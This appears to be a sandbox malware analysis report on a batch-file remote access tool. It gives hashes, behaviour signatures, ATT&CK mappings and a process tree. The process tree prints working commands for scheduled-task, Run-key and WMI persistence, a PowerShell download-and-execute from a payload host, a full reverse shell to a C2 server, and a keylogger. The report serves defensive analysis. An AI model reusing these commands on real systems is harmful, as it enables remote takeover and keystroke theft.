Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:24
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_58166_014223.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_58166_014223.bat
Resource
win11-20260513-en
General
- Target rat_build_58166_014223.bat
- Size 4KB
- Sample260529-2bslssa131
- SHA256 365021f56adea9ba9b3294fb57fa24f3fd409281cc8e6ccf4daad6ff088ff091
- MD5 771bcee53ce2dcf64f21f687d95f709a
- SHA1 f6b3566ca0406217fffa7b07e02cd398825fa116
- SHA512 79d37f801f47e147070fb0ebc7bd1bfaa029bd3be4cf16a2f8ae940a76fc0075b072eda33a08001df668608b157dc8cee026ec1340da2550a791037448a36fb8
- SSDEEP 96:GI21WKw1Mq9mi0Z24lHSwCDQjRdYkeCGbagrmAiFgZk8mvlo1SftX:GyKwl9m+41FCgWbaWiFgkHlFftX
- TLSH T197A11A1393573120CAB06A1AD9333C58939CDAFB1344C98DBB4CCDC41A8EA47E5197EB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_58166.ps1
Signatures
-
pid Process 3628 powershell.exe 4520 powershell.exe 1344 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_58166 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_58166.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3824 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2932 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4736 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3064 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3628 powershell.exe 3628 powershell.exe 4520 powershell.exe 4520 powershell.exe 1344 powershell.exe 1344 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3996 WMIC.exe Token: SeSecurityPrivilege 3996 WMIC.exe Token: SeTakeOwnershipPrivilege 3996 WMIC.exe Token: SeLoadDriverPrivilege 3996 WMIC.exe Token: SeSystemProfilePrivilege 3996 WMIC.exe Token: SeSystemtimePrivilege 3996 WMIC.exe Token: SeProfSingleProcessPrivilege 3996 WMIC.exe Token: SeIncBasePriorityPrivilege 3996 WMIC.exe Token: SeCreatePagefilePrivilege 3996 WMIC.exe Token: SeBackupPrivilege 3996 WMIC.exe Token: SeRestorePrivilege 3996 WMIC.exe Token: SeShutdownPrivilege 3996 WMIC.exe Token: SeDebugPrivilege 3996 WMIC.exe Token: SeSystemEnvironmentPrivilege 3996 WMIC.exe Token: SeRemoteShutdownPrivilege 3996 WMIC.exe Token: SeUndockPrivilege 3996 WMIC.exe Token: SeManageVolumePrivilege 3996 WMIC.exe Token: 33 3996 WMIC.exe Token: 34 3996 WMIC.exe Token: 35 3996 WMIC.exe Token: 36 3996 WMIC.exe Token: SeIncreaseQuotaPrivilege 3996 WMIC.exe Token: SeSecurityPrivilege 3996 WMIC.exe Token: SeTakeOwnershipPrivilege 3996 WMIC.exe Token: SeLoadDriverPrivilege 3996 WMIC.exe Token: SeSystemProfilePrivilege 3996 WMIC.exe Token: SeSystemtimePrivilege 3996 WMIC.exe Token: SeProfSingleProcessPrivilege 3996 WMIC.exe Token: SeIncBasePriorityPrivilege 3996 WMIC.exe Token: SeCreatePagefilePrivilege 3996 WMIC.exe Token: SeBackupPrivilege 3996 WMIC.exe Token: SeRestorePrivilege 3996 WMIC.exe Token: SeShutdownPrivilege 3996 WMIC.exe Token: SeDebugPrivilege 3996 WMIC.exe Token: SeSystemEnvironmentPrivilege 3996 WMIC.exe Token: SeRemoteShutdownPrivilege 3996 WMIC.exe Token: SeUndockPrivilege 3996 WMIC.exe Token: SeManageVolumePrivilege 3996 WMIC.exe Token: 33 3996 WMIC.exe Token: 34 3996 WMIC.exe Token: 35 3996 WMIC.exe Token: 36 3996 WMIC.exe Token: SeIncreaseQuotaPrivilege 3352 WMIC.exe Token: SeSecurityPrivilege 3352 WMIC.exe Token: SeTakeOwnershipPrivilege 3352 WMIC.exe Token: SeLoadDriverPrivilege 3352 WMIC.exe Token: SeSystemProfilePrivilege 3352 WMIC.exe Token: SeSystemtimePrivilege 3352 WMIC.exe Token: SeProfSingleProcessPrivilege 3352 WMIC.exe Token: SeIncBasePriorityPrivilege 3352 WMIC.exe Token: SeCreatePagefilePrivilege 3352 WMIC.exe Token: SeBackupPrivilege 3352 WMIC.exe Token: SeRestorePrivilege 3352 WMIC.exe Token: SeShutdownPrivilege 3352 WMIC.exe Token: SeDebugPrivilege 3352 WMIC.exe Token: SeSystemEnvironmentPrivilege 3352 WMIC.exe Token: SeRemoteShutdownPrivilege 3352 WMIC.exe Token: SeUndockPrivilege 3352 WMIC.exe Token: SeManageVolumePrivilege 3352 WMIC.exe Token: 33 3352 WMIC.exe Token: 34 3352 WMIC.exe Token: 35 3352 WMIC.exe Token: 36 3352 WMIC.exe Token: SeIncreaseQuotaPrivilege 3352 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2080 wrote to memory of 3064 2080 cmd.exe 82 PID 2080 wrote to memory of 4736 2080 cmd.exe 83 PID 2080 wrote to memory of 3996 2080 cmd.exe 84 PID 2080 wrote to memory of 3352 2080 cmd.exe 85 PID 2080 wrote to memory of 1164 2080 cmd.exe 87 PID 2080 wrote to memory of 2932 2080 cmd.exe 88 PID 2080 wrote to memory of 3824 2080 cmd.exe 92 PID 2080 wrote to memory of 3628 2080 cmd.exe 93 PID 2080 wrote to memory of 4520 2080 cmd.exe 94 PID 2080 wrote to memory of 1344 2080 cmd.exe 96 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_58166_014223.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_58166" /tr "C:\Users\Admin\AppData\Local\Temp\_58166.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3064
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_58166" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_58166.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4736
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_58166", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3996
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_58166", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_58166.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3352
-
-
C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_58166.txt2⤵PID:1164
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2932
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_58166.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3628
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4520
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1344
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
- MD5 a766b59cb8764029e0daa42ff2d21c3f
- SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
- SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
- TLSH T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btnucn1k.su3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH